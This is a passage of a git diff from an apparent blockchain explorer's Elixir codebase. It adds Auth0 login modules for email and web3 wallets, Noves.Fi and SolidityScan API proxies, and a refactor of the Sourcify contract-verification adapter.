Migrated) to find an existing + user with the provided address or create a new one. The implementation differs based + on Auth0 configuration: + - Legacy: Finds existing users by address, updates if found without address metadata, + creates a new user if none found, or merges multiple matching users + - Migrated: Finds one user, creates a new user with application-scoped metadata if none + found, or returns an error if multiple users are found + + ## Parameters + - `address`: The web3 wallet address for authentication + - `signature`: The cryptographic signature for authentication + + ## Returns + - `{:ok, map()}`: User information if processing succeeds + - `:error`: If an unspecified error occurs + - `{:error, String.t()}`: If a known error occurs with error message + """ + @spec process_web3_user(String.t(), String.t()) :: {:ok, map()} | :error | {:error, String.t()} + def process_web3_user(address, signature) do + auth0_module().find_or_create_web3_user(address, signature) + end + + @doc """ + Creates a new Auth0 user with web3 wallet credentials. + + Obtains an M2M JWT token, creates an OAuth client, and sends a request to the Auth0 + Users API to create a new user with the web3 wallet address as username and the + signature as password. The user is created without an email address, which requires + specific Auth0 connection configuration. + + ## Parameters + - `address`: The web3 wallet address to use as username + - `signature`: The cryptographic signature to use as password + - `metadata`: Additional metadata to store with the user + + ## Returns + - `{:ok, map()}`: Created user information if successful + - `{:error, String.t()}`: If a configuration issue is detected + - `:error`: If an unspecified error occurs + """ + @spec create_web3_user(String.t(), String.t(), map()) :: {:ok, map()} | :error | {:error, String.t()} + def create_web3_user(address, signature, metadata) do + with token when is_binary(token) <- Auth0.get_m2m_jwt(), + client = OAuth.client(token: token), + body = %{ + username: address, + password: signature, + email_verified: true, + connection: "Username-Password-Authentication", + user_metadata: metadata + }, + {:ok, %OAuth2.Response{status_code: 201, body: user}} <- + Client.post(client, @users_path, body, @json_content_type) do + {:ok, user} + else + {:error, + %OAuth2.Response{ + status_code: 400, + body: + %{ + "errorCode" => "invalid_body", + "message" => "Payload validation error: 'Missing required property: email'." + } = body + }} -> + Logger.error([ + "Failed to create web3 user. Need to allow users without email in Username-Password-Authentication connection: ", + inspect(body) + ]) + + {:error, @misconfiguration_detected} + + error -> + handle_common_errors(error, "Failed to create web3 user") + end + end + + @doc """ + Standardizes error handling for Auth0 API requests. + + Processes common error patterns from Auth0 API responses, logs appropriate error + messages, and returns standardized error formats. Specifically handles missing JWT + tokens and insufficient scope errors with user-friendly messages. + + ## Parameters + - `error`: The error value or structure to handle + - `error_msg`: A descriptive message for logging that explains the context of the error + + ## Returns + - `{:error, String.t()}`: For known error types with a user-friendly message + - `:error`: For unspecified errors + """ + @spec handle_common_errors(any(), String.t()) :: :error | {:error, String.t()} + def handle_common_errors(error, error_msg) do + case error do + nil -> + Logger.error("Failed to get M2M JWT") + {:error, @misconfiguration_detected} + + {:error, %OAuth2.Response{status_code: 403, body: %{"errorCode" => "insufficient_scope"} = body}} -> + Logger.error(["#{error_msg}. Insufficient scope: ", inspect(body)]) + {:error, @misconfiguration_detected} + + other -> + Logger.error(["#{error_msg}: ", inspect(other)]) + :error + end + end + + defp auth0_module do + if Application.get_env(:ueberauth, OAuth)[:auth0_application_id] === "" do + Legacy + else + Migrated + end + end + + defp put_client_id_and_secret(map) do + auth0_config = Application.get_env(:ueberauth, OAuth) + + Map.merge( + map, + %{ + client_id: auth0_config[:client_id], + client_secret: auth0_config[:client_secret] + } + ) + end + + defp handle_identity(nil, email, ip), do: send_otp(email, ip) + + defp handle_identity(%Identity{otp_sent_at: otp_sent_at} = identity, email, ip) do + otp_resend_interval = Application.get_env(:explorer, Account)[:otp_resend_interval] + + case Helper.check_time_interval(otp_sent_at, otp_resend_interval) do + true -> + identity |> Identity.changeset(%{otp_sent_at: DateTime.utc_now()}) |> Repo.account_repo().update() + + send_otp(email, ip) + + interval -> + {:interval, interval} + end + end +end diff --git a/apps/explorer/lib/explorer/third_party_integrations/auth0/legacy.ex b/apps/explorer/lib/explorer/third_party_integrations/auth0/legacy.ex new file mode 100644 index 000000000000..ee8face6d66f --- /dev/null +++ b/apps/explorer/lib/explorer/third_party_integrations/auth0/legacy.ex @@ -0,0 +1,246 @@ +defmodule Explorer.ThirdPartyIntegrations.Auth0.Legacy do + @moduledoc """ + Module for internal usage, not supposed to be used directly, if + you want to interact with Auth0, use `Explorer.ThirdPartyIntegrations.Auth0`. + + Provides Auth0 authentication for legacy Auth0 configuration. + + This module implements Auth0 authentication functionality for the legacy Auth0 + configuration where the application identifier is not set. It handles user + management operations including email and web3 authentication flows, user + linking, and identity merging. + + The module specializes in managing Auth0 users with different identity + providers, linking multiple identities to a single user, and handling user + metadata for both email and web3-based authentication. + """ + + require Logger + + alias Explorer.Account + alias Explorer.Account.Identity + alias Explorer.ThirdPartyIntegrations.Auth0 + alias Explorer.ThirdPartyIntegrations.Auth0.Internal + alias OAuth2.Client + alias Ueberauth.Auth + alias Ueberauth.Strategy.Auth0, as: UeberauthAuth0 + alias Ueberauth.Strategy.Auth0.OAuth + + @spec redis_key() :: String.t() + def redis_key do + client_id = Application.get_env(:ueberauth, OAuth)[:client_id] + + client_id <> "auth0:legacy" + end + + @spec find_users_by_email_query(String.t()) :: String.t() + def find_users_by_email_query(encoded_email) do + ~s(email:"#{encoded_email}" OR user_metadata.email:"#{encoded_email}") + end + + @spec link_email(String.t(), String.t(), String.t()) :: {:ok, map()} | :error | {:error, String.t()} + def link_email(user_id_without_email, user_id_with_email, email) do + with :ok <- link_users(user_id_without_email, user_id_with_email, "email") do + update_user_email(user_id_without_email, email) + end + end + + @spec create_auth(map()) :: Auth.t() + def create_auth(user) do + conn_stub = %{private: %{auth0_user: user, auth0_token: nil}} + + %Auth{ + uid: user["user_id"], + provider: :auth0, + strategy: UeberauthAuth0, + info: UeberauthAuth0.info(conn_stub), + credentials: %Auth.Credentials{}, + extra: UeberauthAuth0.extra(conn_stub) + } + end + + @spec confirm_otp_body(String.t(), String.t()) :: map() + def confirm_otp_body(email, otp) do + %{ + username: email, + otp: otp, + realm: :email, + grant_type: :"http://auth0.com/oauth/grant-type/passwordless/otp" + } + end + + @spec process_email_user(map()) :: {:ok, map()} | :error | {:error, String.t()} + def process_email_user(user) do + maybe_link_email(user) + end + + @spec handle_not_found_just_created_email_user(map()) :: {:ok, Auth.t()} + def handle_not_found_just_created_email_user(%{"sub" => user_id} = user_from_token) do + {:ok, user_from_token |> Map.put("user_id", user_id) |> Internal.create_auth()} + end + + @spec get_user_by_id_from_session(String.t()) :: {:ok, map()} | :error | {:error, String.t()} + def get_user_by_id_from_session(user_id) do + Internal.get_user_by_id(user_id) + end + + @spec find_users_by_web3_address_query(String.t()) :: String.t() + def find_users_by_web3_address_query(address) do + ~s|user_id:*siwe*#{address} OR user_id:*Passkey*#{address} OR user_metadata.web3_address_hash:"#{address}" OR (user_id:*Passkey* AND nickname:"#{address}")| + end + + @spec update_user_with_web3_address(String.t(), String.t()) :: {:ok, map()} | :error | {:error, String.t()} + def update_user_with_web3_address(user_id, address) do + Internal.update_user( + user_id, + %{"user_metadata" => %{"web3_address_hash" => address}}, + "Failed to update user address" + ) + end + + @spec find_or_create_web3_user(String.t(), String.t()) :: {:ok, map()} | :error | {:error, String.t()} + def find_or_create_web3_user(address, signature) do + case Internal.find_users_by_web3_address(address) do + {:ok, [%{"user_metadata" => %{"web3_address_hash" => ^address}} = user]} -> + {:ok, user} + + {:ok, [%{"user_id" => user_id}]} -> + update_user_with_web3_address(user_id, address) + + {:ok, []} -> + Internal.create_web3_user(address, signature, %{web3_address_hash: address}) + + {:ok, users} when is_list(users) and length(users) > 1 -> + merge_web3_users(users) + + other -> + other + end + end + + defp link_users(primary_user_id, secondary_identity_id, provider) do + with token when is_binary(token) <- Auth0.get_m2m_jwt(), + client = OAuth.client(token: token), + body = %{ + provider: provider, + user_id: secondary_identity_id + }, + {:ok, %OAuth2.Response{status_code: 201}} <- + Client.post( + client, + "#{Internal.users_path()}/#{URI.encode(primary_user_id)}/identities", + body, + Internal.json_content_type() + ) do + :ok + else + error -> Internal.handle_common_errors(error, "Failed to link accounts") + end + end + + defp update_user_email(user_id, email) do + Internal.update_user(user_id, %{"user_metadata" => %{"email" => email}}, "Failed to update user email") + end + + defp maybe_link_email(%{"email" => email, "user_id" => "email|" <> identity_id = user_id} = user) do + case Internal.find_users( + ~s(email:"#{email}" AND NOT user_id:"#{user_id}"), + "Failed to find legacy users by email" + ) do + {:ok, []} -> + {:ok, user} + + {:ok, [%{"user_id" => primary_user_id} = user]} -> + link_users(primary_user_id, identity_id, "email") + maybe_verify_email(user) + {:ok, user} + + {:ok, users} -> + merge_email_users(users, identity_id, "email") + + error -> + error + end + end + + defp maybe_link_email(user) do + {:ok, user} + end + + defp maybe_verify_email(%{"email_verified" => false, "user_id" => user_id}) do + with {:ok, _} <- + Internal.update_user(user_id, %{"email_verified" => true}, "Failed to patch email_verified to true") do + :ok + end + end + + defp maybe_verify_email(_), do: :ok + + defp merge_email_users([primary_user | _] = users, identity_id_to_link, provider_for_linking) do + identity_map = + users + |> Enum.map(& &1["user_id"]) + |> Identity.find_identities() + |> Map.new(&{&1.uid, &1}) + + users_map = users |> Enum.map(&{&1["user_id"], &1}) |> Map.new() + + case users |> Enum.map(&identity_map[&1["user_id"]]) |> Enum.reject(&is_nil(&1)) |> Account.merge() do + {{:ok, 0}, nil} -> + link_users(primary_user["user_id"], identity_id_to_link, provider_for_linking) + maybe_verify_email(primary_user) + {:ok, primary_user} + + {{:ok, _}, primary_identity} -> + link_users(primary_identity.uid, identity_id_to_link, provider_for_linking) + maybe_verify_email(users_map[primary_identity.uid]) + {:ok, users_map[primary_identity.uid]} + + error -> + Logger.error(["Error while merging users with the same email: ", inspect(error)]) + :error + end + end + + defp merge_web3_users([primary_user | _] = users) do + identity_map = + users + |> Enum.map(& &1["user_id"]) + |> Identity.find_identities() + |> Map.new(&{&1.uid, &1}) + + users_map = users |> Enum.map(&{&1["user_id"], &1}) |> Map.new() + + users + |> Enum.map(&identity_map[&1["user_id"]]) + |> Enum.reject(&is_nil(&1)) + |> Account.merge() + |> case do + {{:ok, 0}, nil} -> + unless match?(%{"user_metadata" => %{"web3_address_hash" => _}}, primary_user) do + update_user_with_web3_address( + primary_user["user_id"], + primary_user |> Internal.create_auth() |> Identity.address_hash_from_auth() + ) + end + + {:ok, primary_user} + + {{:ok, _}, primary_identity} -> + primary_user_from_db = users_map[primary_identity.uid] + + unless match?(%{"user_metadata" => %{"web3_address_hash" => _}}, primary_user_from_db) do + update_user_with_web3_address( + primary_user_from_db["user_id"], + primary_user_from_db |> Internal.create_auth() |> Identity.address_hash_from_auth() + ) + end + + {:ok, primary_user_from_db} + + error -> + Logger.error(["Error while merging users with the same address: ", inspect(error)]) + :error + end + end +end diff --git a/apps/explorer/lib/explorer/third_party_integrations/auth0/migrated.ex b/apps/explorer/lib/explorer/third_party_integrations/auth0/migrated.ex new file mode 100644 index 000000000000..6c7bdb575e26 --- /dev/null +++ b/apps/explorer/lib/explorer/third_party_integrations/auth0/migrated.ex @@ -0,0 +1,190 @@ +defmodule Explorer.ThirdPartyIntegrations.Auth0.Migrated do + @moduledoc """ + Module for internal usage, not supposed to be used directly, if + you want to interact with Auth0, use `Explorer.ThirdPartyIntegrations.Auth0`. + + Provides Auth0 authentication for migrated Auth0 configuration. + + This module implements Auth0 authentication functionality for the migrated Auth0 + configuration where the application identifier is set. It handles user management + within application-scoped metadata, providing namespaced storage of user + attributes. + + The module supports both email and web3 authentication flows, focusing on + managing user identity within an application-specific context. It uses nested + metadata structures to prevent conflicts between different applications using + the same Auth0 tenant. + """ + + use Utils.RuntimeEnvHelper, + auth0_application_identifier: [:ueberauth, [Ueberauth.Strategy.Auth0.OAuth, :auth0_application_id]] + + alias Explorer.ThirdPartyIntegrations.Auth0.Internal + alias Ueberauth.Auth + alias Ueberauth.Strategy.Auth0, as: UeberauthAuth0 + + @spec redis_key() :: String.t() + def redis_key do + client_id = Application.get_env(:ueberauth, Ueberauth.Strategy.Auth0.OAuth)[:client_id] + + client_id <> "auth0:migrated" + end + + @spec find_users_by_email_query(String.t()) :: String.t() + def find_users_by_email_query(encoded_email) do + ~s(email:"#{encoded_email}") + end + + @spec link_email(String.t(), String.t(), String.t()) :: {:ok, map()} | :error | {:error, String.t()} + def link_email(session_user_id_without_email, user_id_with_email, _email) do + auth0_application_id = auth0_application_identifier() + + with {:ok, + %{ + "user_id" => user_id_without_email, + "user_metadata" => %{^auth0_application_id => user_without_email_metadata} + }} <- + get_user_by_id_from_session(session_user_id_without_email), + {:ok, user_with_email} <- + Internal.update_user( + user_id_with_email, + user_without_email_metadata, + "Failed to link email on updating user with email metadata step" + ), + {:ok, _} <- + Internal.update_user( + user_id_without_email, + %{"user_metadata" => %{auth0_application_id => %{}}}, + "Failed to link email on updating user without email metadata" + ) do + {:ok, user_with_email} + end + end + + @spec create_auth(map()) :: Auth.t() + def create_auth(user) do + uid = user["user_metadata"][auth0_application_identifier()]["user_id"] + user = Map.update(user, "user_metadata", nil, fn user_metadata -> user_metadata[auth0_application_identifier()] end) + conn_stub = %{private: %{auth0_user: user, auth0_token: nil}} + + %Auth{ + uid: uid, + provider: :auth0, + strategy: UeberauthAuth0, + info: UeberauthAuth0.info(conn_stub), + credentials: %Auth.Credentials{}, + extra: UeberauthAuth0.extra(conn_stub) + } + end + + @spec confirm_otp_body(String.t(), String.t()) :: map() + def confirm_otp_body(email, otp) do + %{ + username: email, + otp: otp, + realm: :email, + grant_type: :"http://auth0.com/oauth/grant-type/passwordless/otp", + chain_slug: auth0_application_identifier() + } + end + + @spec process_email_user(map()) :: {:ok, map()} | :error | {:error, String.t()} + def process_email_user(user) do + if user["user_metadata"][auth0_application_identifier()] do + {:ok, user} + else + Internal.update_user( + user["user_id"], + %{ + "user_metadata" => %{ + auth0_application_identifier() => Map.take(user, ["user_id", "name", "nickname", "picture"]) + } + }, + "Failed to update email user metadata" + ) + end + end + + @spec handle_not_found_just_created_email_user(map()) :: {:ok, Auth.t()} | :error | {:error, String.t()} + def handle_not_found_just_created_email_user(%{"sub" => user_id} = user_from_token) do + with {:ok, user} <- + Internal.update_user( + user_id, + %{ + "user_metadata" => %{ + auth0_application_identifier() => Map.take(user_from_token, ["sub", "name", "nickname", "picture"]) + } + }, + "Failed to update just created email user metadata" + ) do + {:ok, create_auth(user)} + end + end + + @spec get_user_by_id_from_session(String.t()) :: {:ok, map()} | :error | {:error, String.t()} + def get_user_by_id_from_session(user_id) do + case Internal.find_users( + ~s(user_metadata.#{auth0_application_identifier()}.user_id:"#{user_id}"), + "Failed to find user by id from session" + ) do + {:ok, [user]} -> {:ok, user} + {:ok, []} -> {:error, "User with id from session not found"} + {:ok, _} -> {:error, "Multiple users with the same id in metadata found"} + error -> error + end + end + + @spec find_users_by_web3_address_query(String.t()) :: String.t() + def find_users_by_web3_address_query(address) do + ~s(user_metadata.#{auth0_application_identifier()}.web3_address_hash:"#{address}") + end + + @spec update_user_with_web3_address(String.t(), String.t()) :: {:ok, map()} | :error | {:error, String.t()} + def update_user_with_web3_address(session_user_id, address) do + auth0_application_id = auth0_application_identifier() + + with {:ok, %{"user_id" => user_id, "user_metadata" => %{^auth0_application_id => user_metadata}}} <- + get_user_by_id_from_session(session_user_id) do + Internal.update_user( + user_id, + %{"user_metadata" => %{auth0_application_id => Map.put(user_metadata, "web3_address_hash", address)}}, + "Failed to update user with web3 address" + ) + end + end + + @spec find_or_create_web3_user(String.t(), String.t()) :: {:ok, map()} | :error | {:error, String.t()} + def find_or_create_web3_user(address, signature) do + case Internal.find_users_by_web3_address(address) do + {:ok, [user]} -> + {:ok, user} + + {:ok, []} -> + create_web3_user(address, signature) + + {:ok, _} -> + {:error, "Multiple users with the same web3 address found"} + + error -> + error + end + end + + defp create_web3_user(address, signature) do + with {:ok, %{"user_id" => user_id} = user} <- Internal.create_web3_user(address, signature, %{}) do + Internal.update_user( + user_id, + %{ + "user_metadata" => %{ + auth0_application_identifier() => + Map.merge( + %{"web3_address_hash" => address}, + Map.take(user, ["user_id", "name", "nickname", "picture"]) + ) + } + }, + "Failed to update user with web3 address" + ) + end + end +end diff --git a/apps/explorer/lib/explorer/third_party_integrations/noves_fi.ex b/apps/explorer/lib/explorer/third_party_integrations/noves_fi.ex new file mode 100644 index 000000000000..d9def2b47f32 --- /dev/null +++ b/apps/explorer/lib/explorer/third_party_integrations/noves_fi.ex @@ -0,0 +1,100 @@ +defmodule Explorer.ThirdPartyIntegrations.NovesFi do + @moduledoc """ + Module for Noves.Fi API integration https://blockscout.noves.fi/swagger/index.html + """ + + require Logger + + alias Explorer.{Helper, HttpClient} + alias Explorer.Utility.Microservice + + @recv_timeout 60_000 + + @doc """ + Proxy request to Noves.fi API endpoints + """ + @spec api_request(String.t(), Plug.Conn.t(), :get | :post_transactions) :: {any(), integer()} + def api_request(url, conn, method \\ :get) + + def api_request(url, conn, :post_transactions) do + headers = [{"apiKey", api_key()}, {"Content-Type", "application/json"}, {"accept", "text/plain"}] + + hashes = + conn.query_params + |> Map.get("hashes") + |> (&if(is_map(&1), + do: Map.values(&1), + else: String.split(&1, ",") + )).() + + prepared_params = + conn.query_params + |> Map.drop(["hashes"]) + + case HttpClient.post(url, Jason.encode!(hashes), headers, recv_timeout: @recv_timeout, params: prepared_params) do + {:ok, %{status_code: status, body: body}} -> + {Helper.decode_json(body), status} + + {:error, reason} -> + Logger.error(fn -> + ["Error while requesting Noves.Fi API endpoint #{url}. The reason is: ", inspect(reason)] + end) + + {nil, 500} + end + end + + def api_request(url, conn, :get) do + headers = [{"apiKey", api_key()}] + + url_with_params = url <> "?" <> conn.query_string + + case HttpClient.get(url_with_params, headers, recv_timeout: @recv_timeout) do + {:ok, %{status_code: status, body: body}} -> + {Helper.decode_json(body), status} + + {:error, reason} -> + Logger.error(fn -> + ["Error while requesting Noves.Fi API endpoint #{url}. The reason is: ", inspect(reason)] + end) + + {nil, 500} + end + end + + @doc """ + Noves.fi /evm/:chain/tx/:transaction_hash endpoint + """ + @spec transaction_url(String.t()) :: String.t() + def transaction_url(transaction_hash_string) do + "#{base_url()}/evm/#{chain_name()}/tx/#{transaction_hash_string}" + end + + @doc """ + Noves.fi /evm/:chain/describeTxs endpoint + """ + @spec describe_transactions_url() :: String.t() + def describe_transactions_url do + "#{base_url()}/evm/#{chain_name()}/describeTxs" + end + + @doc """ + Noves.fi /evm/:chain/txs/:address_hash endpoint + """ + @spec address_transactions_url(String.t()) :: String.t() + def address_transactions_url(address_hash_string) do + "#{base_url()}/evm/#{chain_name()}/txs/#{address_hash_string}" + end + + defp base_url do + Microservice.base_url(__MODULE__) + end + + defp chain_name do + Application.get_env(:explorer, __MODULE__)[:chain_name] + end + + defp api_key do + Application.get_env(:explorer, __MODULE__)[:api_key] + end +end diff --git a/apps/explorer/lib/explorer/third_party_integrations/solidityscan.ex b/apps/explorer/lib/explorer/third_party_integrations/solidityscan.ex new file mode 100644 index 000000000000..dd6f95fa6a14 --- /dev/null +++ b/apps/explorer/lib/explorer/third_party_integrations/solidityscan.ex @@ -0,0 +1,56 @@ +defmodule Explorer.ThirdPartyIntegrations.SolidityScan do + @moduledoc """ + Module for SolidityScan integration https://apidoc.solidityscan.com/solidityscan-security-api/solidityscan-other-apis/quickscan-api-v1 + """ + + require Logger + alias Explorer.{Helper, HttpClient} + + @recv_timeout 60_000 + + @doc """ + Proxy request to solidityscan API endpoint for the given smart-contract + """ + @spec solidityscan_request(String.t()) :: any() + def solidityscan_request(address_hash_string) do + headers = [{"Authorization", "Token #{api_key()}"}] + + url = base_url(address_hash_string) + + if url do + case HttpClient.get(url, headers, recv_timeout: @recv_timeout) do + {:ok, %{status_code: 200, body: body}} -> + Helper.decode_json(body) + + _ -> + nil + end + else + Logger.warning( + "SOLIDITYSCAN_CHAIN_ID or SOLIDITYSCAN_API_TOKEN env variable is not configured on the backend. Please, set it." + ) + + nil + end + end + + defp base_url(address_hash_string) do + if chain_id() && api_key() do + "https://api.solidityscan.com/api/v1/quickscan/#{platform_id()}/#{chain_id()}/#{address_hash_string}" + else + nil + end + end + + defp platform_id do + Application.get_env(:explorer, __MODULE__)[:platform_id] + end + + defp chain_id do + Application.get_env(:explorer, __MODULE__)[:chain_id] + end + + defp api_key do + Application.get_env(:explorer, __MODULE__)[:api_key] + end +end diff --git a/apps/explorer/lib/explorer/third_party_integrations/sourcify.ex b/apps/explorer/lib/explorer/third_party_integrations/sourcify.ex index 7c34aca8e391..38c716b65b80 100644 --- a/apps/explorer/lib/explorer/third_party_integrations/sourcify.ex +++ b/apps/explorer/lib/explorer/third_party_integrations/sourcify.ex @@ -2,12 +2,13 @@ defmodule Explorer.ThirdPartyIntegrations.Sourcify do @moduledoc """ Adapter for contracts verification with https://sourcify.dev/ """ - use Tesla + alias Explorer.Helper, as: ExplorerHelper + alias Explorer.HttpClient alias Explorer.SmartContract.{Helper, RustVerifierInterface} - alias HTTPoison.{Error, Response} alias Tesla.Multipart + @post_timeout :timer.seconds(30) @no_metadata_message "Sourcify did not return metadata" @failed_verification_message "Unsuccessful Sourcify verification" @@ -27,9 +28,9 @@ defmodule Explorer.ThirdPartyIntegrations.Sourcify do http_get_request(get_metadata_full_url, []) end - def verify(address_hash_string, files) do + def verify(address_hash_string, files, chosen_contract) do if RustVerifierInterface.enabled?() do - verify_via_rust_microservice(address_hash_string, files) + verify_via_rust_microservice(address_hash_string, files, chosen_contract) else verify_via_sourcify_server(address_hash_string, files) end @@ -43,53 +44,48 @@ defmodule Explorer.ThirdPartyIntegrations.Sourcify do |> Multipart.add_field("chain", chain_id) |> Multipart.add_field("address", address_hash_string) - multipart_body = - files - |> Enum.reduce(multipart_text_params, fn file, acc -> - if file do - acc - |> Multipart.add_file(file.path, - name: "files", - file_name: Path.basename(file.path) - ) - else - acc - end - end) + multipart_body = prepare_body_for_sourcify(files, multipart_text_params) http_post_request(verify_url(), multipart_body) end - # sobelow_skip ["Traversal.FileModule"] - def verify_via_rust_microservice(address_hash_string, files) do + defp prepare_body_for_sourcify(files, multipart_text_params) when is_map(files) do + files + |> Enum.reduce(multipart_text_params, fn {name, content}, acc -> + if content do + acc + |> Multipart.add_file_content(content, name, name: "files") + else + acc + end + end) + end + + defp prepare_body_for_sourcify(files, multipart_text_params) do + files + |> Enum.reduce(multipart_text_params, fn file, acc -> + if file do + acc + |> Multipart.add_file(file.path, + name: "files", + file_name: Path.basename(file.path) + ) + else + acc + end + end) + end + + def verify_via_rust_microservice(address_hash_string, files, chosen_contract) do chain_id = config(__MODULE__, :chain_id) body_params = Map.new() |> Map.put("chain", chain_id) |> Map.put("address", address_hash_string) + |> add_chosen_contract(chosen_contract) - files_body = - files - |> Enum.reduce(Map.new(), fn file, acc -> - if file do - {:ok, file_content} = File.read(file.path) - - file_content = - if Helper.json_file?(file.filename) do - file_content - |> Jason.decode!() - |> Jason.encode!() - else - file_content - end - - acc - |> Map.put(file.filename, file_content) - else - acc - end - end) + files_body = prepare_body_for_microservice(files) body = body_params @@ -98,29 +94,83 @@ defmodule Explorer.ThirdPartyIntegrations.Sourcify do http_post_request_rust_microservice(verify_url_rust_microservice(), body) end + defp add_chosen_contract(params, index) when is_binary(index) do + case Integer.parse(index) do + {integer, ""} -> + Map.put(params, "chosenContract", integer) + + _ -> + params + end + end + + defp add_chosen_contract(params, index) when is_number(index) do + Map.put(params, "chosenContract", index) + end + + defp add_chosen_contract(params, _index), do: params + + defp prepare_body_for_microservice(files) when is_map(files) do + files + |> Enum.reduce(Map.new(), fn {name, content}, acc -> + if content do + file_content = get_file_content(name, content) + + acc + |> Map.put(name, file_content) + else + acc + end + end) + end + + # sobelow_skip ["Traversal.FileModule"] + defp prepare_body_for_microservice(files) do + files + |> Enum.reduce(Map.new(), fn file, acc -> + if file do + {:ok, file_content} = File.read(file.path) + + file_content = get_file_content(file.filename, file_content) + + acc + |> Map.put(file.filename, file_content) + else + acc + end + end) + end + + defp get_file_content(name, content) do + if Helper.json_file?(name) do + content + |> Jason.decode!() + |> Jason.encode!() + else + content + end + end + def http_get_request(url, params) do - request = HTTPoison.get(url, [], params: params) + request = HttpClient.get(url, [], params: params) case request do - {:ok, %Response{body: body, status_code: 200}} -> + {:ok, %{body: body, status_code: 200}} -> process_sourcify_response(url, body) - {:ok, %Response{body: body, status_code: status_code}} when status_code in 400..526 -> + {:ok, %{body: body, status_code: status_code}} when status_code in 400..526 -> parse_http_error_response(body) - {:ok, %Response{status_code: status_code}} when status_code in 300..308 -> + {:ok, %{status_code: status_code}} when status_code in 300..308 -> {:error, "Sourcify redirected"} - {:ok, %Response{status_code: _status_code}} -> + {:ok, %{status_code: _status_code}} -> {:error, "Sourcify unexpected status code"} - {:error, %Error{reason: reason}} -> + {:error, reason} -> {:error, reason} - {:error, :nxdomain} -> - {:error, "Sourcify is not responsive"} - - {:error, _} -> + _ -> {:error, "Unexpected response from Sourcify"} end end @@ -138,10 +188,11 @@ defmodule Explorer.ThirdPartyIntegrations.Sourcify do end def http_post_request_rust_microservice(url, body) do - request = HTTPoison.post(url, Jason.encode!(body), [{"Content-Type", "application/json"}], recv_timeout: :infinity) + request = + HttpClient.post(url, Jason.encode!(body), [{"Content-Type", "application/json"}], recv_timeout: @post_timeout) case request do - {:ok, %Response{body: body, status_code: 200}} -> + {:ok, %{body: body, status_code: 200}} -> process_sourcify_response(url, body) _ -> @@ -157,6 +208,9 @@ defmodule Explorer.ThirdPartyIntegrations.Sourcify do url =~ "/verify" -> parse_verify_http_response(body) + url =~ "/sourcify/sources:verify" -> + parse_verify_http_response(body) + url =~ "/files/any" -> parse_get_metadata_any_http_response(body) @@ -169,7 +223,7 @@ defmodule Explorer.ThirdPartyIntegrations.Sourcify do end defp parse_verify_http_response(body) do - body_json = decode_json(body) + body_json = ExplorerHelper.decode_json(body) case body_json do # Success status from native Sourcify server @@ -177,10 +231,10 @@ defmodule Explorer.ThirdPartyIntegrations.Sourcify do {:ok, body_json} # Success status code from Rust microservice - %{"status" => "0"} -> + %{"status" => "SUCCESS"} -> {:ok, body_json} - %{"status" => "1", "message" => message} -> + %{"status" => "FAILURE", "message" => message} -> {:error, message} %{"result" => [%{"status" => unknown_status}]} -> @@ -192,7 +246,7 @@ defmodule Explorer.ThirdPartyIntegrations.Sourcify do end defp parse_check_by_address_http_response(body) do - body_json = decode_json(body) + body_json = ExplorerHelper.decode_json(body) case body_json do [%{"status" => "perfect"}] -> @@ -210,11 +264,11 @@ defmodule Explorer.ThirdPartyIntegrations.Sourcify do end defp parse_get_metadata_http_response(body) do - body_json = decode_json(body) + body_json = ExplorerHelper.decode_json(body) case body_json do %{"message" => message, "errors" => errors} -> - {:error, "#{message}: #{decode_json(errors)}"} + {:error, "#{message}: #{ExplorerHelper.decode_json(errors)}"} metadata -> {:ok, metadata} @@ -222,11 +276,11 @@ defmodule Explorer.ThirdPartyIntegrations.Sourcify do end defp parse_get_metadata_any_http_response(body) do - body_json = decode_json(body) + body_json = ExplorerHelper.decode_json(body) case body_json do %{"message" => message, "errors" => errors} -> - {:error, "#{message}: #{decode_json(errors)}"} + {:error, "#{message}: #{ExplorerHelper.decode_json(errors)}"} %{"status" => status, "files" => metadata} -> {:ok, status, metadata} @@ -236,16 +290,23 @@ defmodule Explorer.ThirdPartyIntegrations.Sourcify do end end + @invalid_json_response "invalid http error json response" defp parse_http_error_response(body) do - body_json = decode_json(body) + body_json = ExplorerHelper.decode_json(body) if is_map(body_json) do - {:error, body_json["error"]} + error = body_json["error"] + + parse_http_error_response_internal(error) else - {:error, body} + parse_http_error_response_internal(body) end end + defp parse_http_error_response_internal(nil), do: {:error, @invalid_json_response} + + defp parse_http_error_response_internal(data), do: {:error, data} + def parse_params_from_sourcify(address_hash_string, verification_metadata) do filtered_files = verification_metadata @@ -265,36 +326,38 @@ defmodule Explorer.ThirdPartyIntegrations.Sourcify do verification_metadata_sol |> Enum.reduce(full_params_initial, fn %{"name" => name, "content" => content, "path" => _path} = param, full_params_acc -> - compilation_target_file_name = Map.get(full_params_acc, "compilation_target_file_name") - - if String.downcase(name) == String.downcase(compilation_target_file_name) do - %{ - "params_to_publish" => extract_primary_source_code(content, Map.get(full_params_acc, "params_to_publish")), - "abi" => Map.get(full_params_acc, "abi"), - "secondary_sources" => Map.get(full_params_acc, "secondary_sources"), - "compilation_target_file_path" => Map.get(full_params_acc, "compilation_target_file_path"), - "compilation_target_file_name" => compilation_target_file_name - } - else - secondary_sources = [ - prepare_additional_source(address_hash_string, param) | Map.get(full_params_acc, "secondary_sources") - ] - - %{ - "params_to_publish" => Map.get(full_params_acc, "params_to_publish"), - "abi" => Map.get(full_params_acc, "abi"), - "secondary_sources" => secondary_sources, - "compilation_target_file_path" => Map.get(full_params_acc, "compilation_target_file_path"), - "compilation_target_file_name" => compilation_target_file_name - } - end + construct_params_from_sourcify(name, full_params_acc, content, param, address_hash_string) end) end end + defp construct_params_from_sourcify(name, full_params_acc, content, param, address_hash_string) do + compilation_target_file_name = Map.get(full_params_acc, "compilation_target_file_name") + + {params_to_publish, secondary_sources} = + if String.downcase(name) == String.downcase(compilation_target_file_name) do + params_to_publish = extract_primary_source_code(content, Map.get(full_params_acc, "params_to_publish")) + {params_to_publish, Map.get(full_params_acc, "secondary_sources")} + else + secondary_sources = [ + prepare_additional_source(address_hash_string, param) | Map.get(full_params_acc, "secondary_sources") + ] + + {Map.get(full_params_acc, "params_to_publish"), secondary_sources} + end + + %{ + "params_to_publish" => params_to_publish, + "abi" => Map.get(full_params_acc, "abi"), + "secondary_sources" => secondary_sources, + "compilation_target_file_path" => Map.get(full_params_acc, "compilation_target_file_path"), + "compilation_target_file_name" => compilation_target_file_name + } + end + defp parse_json_from_sourcify_for_insertion(verification_metadata_json) do %{"name" => _, "content" => content} = verification_metadata_json - content_json = decode_json(content) + content_json = ExplorerHelper.decode_json(content) compiler_version = "v" <> (content_json |> Map.get("compiler") |> Map.get("version")) abi = content_json |> Map.get("output") |> 